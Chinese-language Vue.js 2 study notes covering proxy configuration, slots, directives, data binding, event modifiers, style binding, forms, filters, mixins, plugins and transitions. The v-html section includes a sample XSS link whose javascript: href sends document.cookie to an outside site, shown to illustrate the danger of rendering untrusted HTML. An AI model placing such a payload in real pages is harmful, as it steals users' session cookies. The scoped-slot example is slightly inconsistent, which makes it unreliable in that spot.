代理服务器
假设本地请求地址是http://localhost:2023/api/pc/aboutUs/list
代理服务器如下,这个配置会帮助我们开启一个代理服务器
//代理服务器
server: {
host:'0.0.0.0',
port:2023,
proxy: {
'/api': {
target: 'https://lishanghao.boyun.com.cn', //对应自己的接口
changeOrigin: true,
ws: true,
rewrite:(path) => path.replace(/^\/api/,'/api')
}
}
},
- 接下来,代理服务器会去请求转发的服务器地址:
- rewrite 解析
插槽
在Vue.js 2中,插槽是一种用于组件之间通信的机制。插槽允许我们将内容从父组件传递到子组件,并在子组件中进行渲染。
默认插槽
默认插槽是最基本的插槽类型,用于在子组件中接收父组件传递的内容。
父组件:
<template>
<div>
<child-component>
<h1>这是默认插槽的内容</h1>
<p>可以包含任意的HTML元素或组件</p>
</child-component>
</div>
</template>
<script>
import ChildComponent from "./ChildComponent.vue";
export default {
components: {
ChildComponent,
},
};
</script>
子组件:
<template>
<div>
<slot>默认插槽</slot>
</div>
</template>
在上面的例子中,父组件通过<slot></slot>定义了一个默认插槽,子组件会将父组件传递的内容渲染在<slot></slot>的位置。
具名插槽
具名插槽允许我们在子组件中定义多个插槽,并为每个插槽指定一个名称。
父组件:
<template>
<div>
<child-component>
<template v-slot:title>
<h1>这是标题插槽的内容</h1>
</template>
<template v-slot:content>
<p>这是内容插槽的内容</p>
</template>
</child-component>
</div>
</template>
<script>
import ChildComponent from "./ChildComponent.vue";
export default {
components: {
ChildComponent,
},
};
</script>
子组件:
<template>
<div>
<slot name="title"></slot>
<slot name="content"></slot>
</div>
</template>
在上面的例子中,父组件通过<slot name="title"></slot>和<slot name="content"></slot>定义了两个具名插槽,子组件会根据插槽的名称将相应的内容渲染出来。
作用域插槽
作用域插槽,可以理解为,子组件数据由父组件提供,但是子组件内部决定不了自身结构
父组件:
<template>
<div>
<h1>插槽</h1>
<Todo :todos="todos">
<template slot-scope="{ $row, $index }">
<!--父组件决定子组件的结构与外观-->
<span :style="{ color: $row.done ? 'green' : 'red' }">{{$row.title}}</span>
</template>
</Todo>
</div>
</template>
<script>
import Todo from "./Todo.vue";
export default {
components: {
Todo
},
data() {
return {
todos: [
{ id: 1, title: "吃饭", done: true },
{ id: 2, title: "睡觉", done: false },
{ id: 3, title: "打豆豆", done: true }
]
};
}
};
</script>
子组件:
<template>
<div>
<h1>todo</h1>
<ul>
<!--组件内部遍历数组-->
<li v-for="(item, index) in todos" :key="item.id">
<!--作用域插槽将数据回传给父组件-->
<slot name="todo" :row="item" :index="index"></slot>
</li>
</ul>
</div>
</template>
<script>
export default {
props: ['todos']
};
</script>
指令
内置指令
v-text指令
- 1.作用:向其所在的节点中渲染文本内容。
- 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<div v-text="name"></div>
<div v-text="str"></div>
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>'
}
v-html指令
- 1.作用:向指定节点中渲染包含html结构的内容。
- 2.与插值语法的区别:
(1)v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2)v-html可以识别html结构。
- 3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<div v-html="str"></div>
<div v-html="str2"></div>
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
v-cloak指令
- 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!-- 准备好一个容器-->
<style>
// 隐藏内容
[v-cloak]{
display:none;
}
</style>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
data:{
name:'尚硅谷'
}
v-once指令
- 1.v-once所在节点在初次动态渲染后,就视为静态内容了。
- 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
data:{
n:1
}
v-pre指令
- 1.跳过其所在节点的编译过程。
- 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!-- 准备好一个容器-->
<div id="root">
// 跳过指令,跳过插值语法,加快编译
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
data:{
n:1
}
自定义指令
vue官方提供很多指令,如:v-model,v-show,v-if,v-if等,他们都以v-开头。当这些指令不能满足我们实际开发需求时,我们还可以自定义指令。自定义指令主要分为全局自定义指令和局部自定义指令。
1.全局注册自定义指令
// main.js文件中引入Vue并创建根实例之前添加如下代码
import Vue from 'vue'
// 自定义指令名为myDirective,使用bind钩子函数来处理元素被绑定时的操作
Vue.directive('myDirective', {
bind(el, binding) {
// el表示当前绑定了该指令的DOM元素
// binding包含了指令相关信息,比如传入的参数等
// 这里可以对DOM元素进行初始化设置、事件监听等操作
},
inserted(el, binding) {
// DOM元素已经被插入到页面中后调用此钩子函数
},
update(el, binding) {
// 当指令所在的模板重新渲染时会触发update钩子函数
}
})
new Vue({
render: h => h(App),
}).$mount('#app')
2.组件内部注册自定义指令
<template>
<div v-myDirective></div>
</template>
<script>
export default {
directives: {
myDirective: {
bind(el, binding) {
// 与上述全局注册类似,只不过这里将指令限制在特定组件内部生效
// 这里可以对DOM元素进行初始化设置、事件监听等操作
},
inserted(el, binding) {
// DOM元素已经被插入到页面中后调用此钩子函数
},
update(el, binding) {
// 当指令所在的模板重新渲染时会触发update钩子函数
}
}
}
}
</script>
数据绑定
单向数据绑定
数据只能从 data 流向页面
// 普通写法
<input type="text" v-bind:value="name">
// 简写
<input type="text" :value="name">
双向数据绑定
数据不仅能从 data 流向页面,还能从页面流向 data(页面数据变化,data里面的也会随之改变)
只能用于表单类元素,v-model:value 可以简写为v-model,因为v-model默认收集的就是value值
// 普通写法
<input type="text" v-model:value="name">
// 简写
<input type="text" v-model="name">
事件处理
事件的基本使用:
1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
2.事件的回调需要配置在methods对象中,最终会在vm上;
3.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
4.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
// 不传参数,默认传event
<button @click="showInfo1">点我提示信息1(不传参)</button>
// 传参数,隐含属性对象: $event
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
},
methods:{
// 默认传event
showInfo1(event){
// console.log(event.target.innerText)
// console.log(this) //此处的this是vm
alert('同学你好!')
},
// 隐含属性对象: $event
showInfo2(event,number){
console.log(event,number)
alert('同学你好!!')
}
}
})
事件修饰符
1.prevent:阻止默认事件(常用)
<!-- 阻止默认事件(常用) -->
// 阻止了a标签的默认跳转事件
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
2.stop:阻止事件冒泡(常用)
只会触发一次showInfo事件
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click="showInfo">点我提示信息</button>
<!-- 修饰符可以连续写 -->
<a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a>
</div>
3.once:事件只触发一次(常用)
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>
4.capture:使用事件的捕获模式
点击div2时,先触发div1的showMsg,再触发div2的showMsg
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
5.self:只有event.target是当前操作的元素时才触发事件
<!-- 只有event.target是当前操作的元素时才触发事件; -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
// 会立即执行滚动事件,不需要等待事件处理完
demo(){
for (let i = 0; i < 100000; i++) {
console.log('#')
}
console.log('累坏了')
}
键盘事件
键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而Vue还对一些常用按键起了别名方便使用
1.Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
绑定样式
class样式
写法:class="xxx" xxx可以是字符串、对象、数组。
-
字符串写法适用于:类名不确定,要动态获取。
-
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
-
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
mood:'normal',
classArr:['atguigu1','atguigu2','atguigu3'],
classObj:{
atguigu1:false,
atguigu2:false,
},
style样式
-
:style="{fontSize: xxx}"其中xxx是动态值。
-
:style="[a,b]"其中a、b是样式对象。
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
styleObj:{
fontSize: '40px',
color:'red',
},
styleObj2:{
backgroundColor:'orange'
},
styleArr:[
{
fontSize: '40px',
color:'blue',
},
{
backgroundColor:'gray'
}
]
v-model 收集表单数据
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
type="checkbox",v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
-
lazy:失去焦点再收集数据 -
number:输入字符串转为有效的数字 -
trim:输入首尾空格过滤
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
}
过滤器
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
- 1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
- 2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
- 1.过滤器也可以接收额外参数、多个过滤器也可以串联
- 2.并没有改变原本的数据, 是产生新的对应的数据
<h1>filters的使用</h1>
<!-- 过滤器实现 -->
时间:<span>{{time | nameFormater}}</span> <br>
<hr>
<!-- 过滤器实现(传参) -->
现在是:<span>{{time | nameFormater('YYYY-MM-DD')}}</span> <br>
<hr>
现在是:<span>{{time | nameFormater('YYYY-MM-DD') | mySlice}}</span> <br>
<hr>
<button @click="changeName">修改时间</button>
data() {
return {
time: 1621561377603,
};
},
filters: {
nameFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
return dayjs(value).format(str);
},
mySlice(value) {
return value.slice(0, 4);
},
},
methods: {
changeName() {
this.time += 101000000;
},
}
mixin 混入
1.功能: 可以把多个组件共用的配置提取成一个混入对象
2.使用方式:
- 定义混入
export const mixin = {
methods: {
showName(){
alert(this.name)
}
},
mounted() {
console.log('你好啊!')
},
}
- 使用混入
- 全局混入 Vue.mixin(xxx)
- 局部混入 mixins:['xxx']
备注
1、组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先
2、同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用
plugin 插件(定义公用的过滤器,全局指令,全局混入等)
1.功能: 用于增强Vue
插件里面可以定义公用的过滤器,全局指令,全局混入等
export default {
install(Vue,x,y,z){
console.log(x,y,z)
//全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
//定义全局指令
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
//定义混入
Vue.mixin({
data() {
return {
x:100,
y:200
}
},
})
//给Vue原型上添加一个方法(vm和vc就都能用了)
Vue.prototype.hello = ()=>{alert('你好啊')}
}
}
过度与动画
Vue封装的过度与动画:在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类
注意:
-
使用包裹要过度的元素,并配置name属性,此时需要将上面样式名的v换为n
-
要让页面一开始就显示动画,需要添加appear
动画案例:
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition name="hello" appear>
<h1 v-show="isShow">你好啊!</h1>
</transition>
</div>
</template>
<script>
export default {
name:'Test',
data() {
return {
isShow:true
}
},
}
</script>
<style scoped>
h1{
background-color: orange;
}
.hello-enter-active{
animation: atguigu 0.5s linear;
}
.hello-leave-active{
animation: atguigu 0.5s linear reverse;
}
@keyframes atguigu {
from{
transform: translateX(-100%);
}
to{
transform: translateX(0px);
}
}
</style>
备注:若有多个元素需要过度,则需要使用,且每个元素都要指定key
过渡案例:
<template>
<div>
<button @click="isShow = !isShow">显示/隐藏</button>
<transition-group name="hello" appear>
<h1 v-show="!isShow" key="1">你好啊!</h1>
<h1 v-show="isShow" key="2">尚硅谷!</h1>
</transition-group>
</div>
</template>
<script>
export default {
name:'Test',
data() {
return {
isShow:true
}
},
}
</script>
<style scoped>
h1{
background-color: orange;
}
/* 进入的起点、离开的终点 */
.hello-enter,.hello-leave-to{
transform: translateX(-100%);
}
.hello-enter-active,.hello-leave-active{
transition: 0.5s linear;
}
/* 进入的终点、离开的起点 */
.hello-enter-to,.hello-leave{
transform: translateX(0);
}
</style>
el和data的两种写法
el的两种写法
(1)new Vue时候配置el属性。
(2)先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
<div id="root">
<h1>你好,{{ name }} </h1>
</div>
const v = new Vue({
//el: '#root', //第一种写法
data: {
name: '尚硅谷',
}
})
v.$mount('#root') //第二种写法
data的两种写法
在组件内使用对象式写法会报错,一定要使用函数式写法
一个重要的原则:由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
//data的两种写法
new Vue({
el:'#root',
//data的第一种写法:对象式
/* data:{
name:'尚硅谷'
} */
//data的第二种写法:函数式
data(){
console.log('@@@',this) //此处的this是Vue实例对象
return{
name:'尚硅谷'
}
}
})